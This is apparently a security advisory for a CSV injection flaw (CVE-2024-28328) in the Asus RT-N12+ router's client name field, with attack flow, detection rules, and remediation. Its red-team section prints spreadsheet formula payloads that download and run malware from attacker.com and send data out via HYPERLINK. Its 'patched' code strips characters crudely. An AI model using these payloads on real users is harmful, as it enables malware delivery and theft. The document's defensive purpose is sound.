CVE-2024-28328

Executive Summary

CVE-2024-28328 identifies a CSV Injection vulnerability in the Asus RT-N12+ router. This flaw allows an authenticated administrator to inject arbitrary commands or formulas into the client name parameter. When the client list is exported to CSV format and opened by another user (e.g., in Microsoft Excel or LibreOffice Calc), the injected payload executes, potentially leading to command execution or data exfiltration on the victim's machine. The vulnerability is currently unpatched, and no official fix has been released by Asus. The attack vector is local network-based, requiring administrative access to the router's web interface.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the Asus RT-N12+ router.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic assessment would be:

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same local network as the router.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Administrative access to the router is needed.
• User Interaction (UI): Required (R) – The victim must open the exported CSV file.
• Scope (S): Changed (C) – The impact extends beyond the router to the victim's machine.
• Confidentiality (C): High (H) – Potential for data exfiltration.
• Integrity (I): High (H) – Arbitrary commands can be executed.
• Availability (A): High (H) – System compromise could lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H Estimated Score: 7.6 (High)

Deep Dive & Mechanics

The vulnerability resides in the router's web administration interface, specifically in the client name field. When an administrator adds or edits a client (e.g., via DHCP reservation or client list), the input is not sanitized for CSV injection characters. The following characters are dangerous in CSV context:

• = (Equals sign)
• + (Plus sign)
• - (Minus sign)
• @ (At sign)

If an administrator sets a client name to =cmd|' /C calc'!A0, the router stores this value. When the administrator exports the client list to CSV, the payload is written into the CSV file. Upon opening this file in a spreadsheet application (e.g., Microsoft Excel), the formula is executed, potentially launching the calculator or performing more malicious actions like downloading malware.

The attack flow:

1. Attacker gains admin access to the Asus RT-N12+ router (e.g., via default credentials or brute force).
2. Attacker modifies a client name to include a CSV injection payload.
3. Attacker exports the client list to CSV.
4. Attacker sends the CSV file to a victim (e.g., via email or social engineering).
5. Victim opens the CSV file in Excel, triggering the payload.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is in the router's firmware, likely in the web interface component that handles client name input and CSV export. The input validation is missing or insufficient.

Vulnerable Code (Conceptual):

// No sanitization of client name
$clientName = $_POST['client_name'];
// ... store in database ...
// Export to CSV
fputcsv($file, [$clientName, $mac, $ip]);

Patched Code (Conceptual):

// Sanitize client name to prevent CSV injection
$clientName = $_POST['client_name'];
$clientName = str_replace(['=', '+', '-', '@'], '', $clientName);
// ... store in database ...
// Export to CSV
fputcsv($file, [$clientName, $mac, $ip]);

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an Asus RT-N12+ router (or use a virtualized environment with the vulnerable firmware).
2. Connect to the router's web interface (default IP: 192.168.1.1).
3. Log in with administrative credentials (default: admin/admin).
4. Navigate to the client list or DHCP reservation section.

Exploitation Steps:

1. Add a new client or edit an existing one.
2. Set the client name to a malicious payload, e.g.:

   =cmd|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile %temp%\malware.exe; Start-Process %temp%\malware.exe"'!A0
   

3. Save the changes.
4. Export the client list to CSV (usually via a "Export" or "Download" button).
5. Send the CSV file to the victim.
6. When the victim opens the CSV in Excel, the payload executes.

Alternative Payloads:

• Data exfiltration: =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")
• Command execution: =cmd|' /C calc'!A0

Blue Team

Detection:

• Monitor for unusual client names in the router's DHCP lease list.
• Look for CSV files with suspicious formulas (starting with =, +, -, @).
• Use endpoint detection to alert on Excel launching external commands or network connections.

Prevention:

• Restrict administrative access to the router (use strong passwords, disable remote management).
• Educate users not to open CSV files from untrusted sources.
• Use a CSV viewer that does not execute formulas (e.g., Notepad++).
• Implement network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from a machine to an external IP after opening a CSV file.
  • CSV files containing formulas starting with =, +, -, or @.
• Host:
  • Processes spawned by Excel (e.g., cmd.exe, powershell.exe).
  • Registry modifications (if payload modifies registry).
  • Files downloaded to %temp% or %appdata%.
• Router:
  • Client names containing special characters like =, +, -, @.
  • Unusual DHCP lease entries.

Detection Engineering

YARA Rule

rule CVE_2024_28328_CSV_Injection {
    meta:
        description = "Detects CSV files with potential injection payloads targeting Asus RT-N12+"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28328"
    strings:
        $injection1 = "=cmd|" ascii wide nocase
        $injection2 = "=HYPERLINK(" ascii wide nocase
        $injection3 = "=DDE(" ascii wide nocase
        $injection4 = "=MSEXCEL|" ascii wide nocase
        $injection5 = /^[=+\-@]/ ascii wide
    condition:
        any of ($injection1, $injection2, $injection3, $injection4) or
        ($injection5 and filesize < 10KB)
}

Sigma Rule

title: CSV Injection Payload Detected
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSV files containing formulas indicative of injection attacks (CVE-2024-28328)
author: Valters IT
date: 2024/01/01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        TargetFilename|contains:
            - '=cmd|'
            - '=HYPERLINK('
            - '=DDE('
            - '=MSEXCEL|'
    condition: selection
falsepositives:
    - Legitimate CSV files with formulas (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28328 CSV Injection - Potential Data Exfiltration"; flow:to_server,established; content:"=HYPERLINK("; nocase; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure the router's admin password is strong and not default.
2. Disable Remote Management: If not needed, disable WAN access to the admin interface.
3. Update Firmware: Check Asus's website for any firmware updates. If none, consider using third-party firmware like DD-WRT or OpenWrt (if supported).
4. Network Segmentation: Place the router on a separate VLAN from sensitive systems.

Long-Term Fix:

• Asus must release a firmware update that sanitizes client name input and CSV export functions.
• Until then, avoid exporting client lists to CSV, or sanitize the CSV file manually before opening.

User Education:

• Train users to recognize CSV injection risks.
• Advise users to open CSV files in a text editor first, or use a spreadsheet application with macros disabled.

Valters IT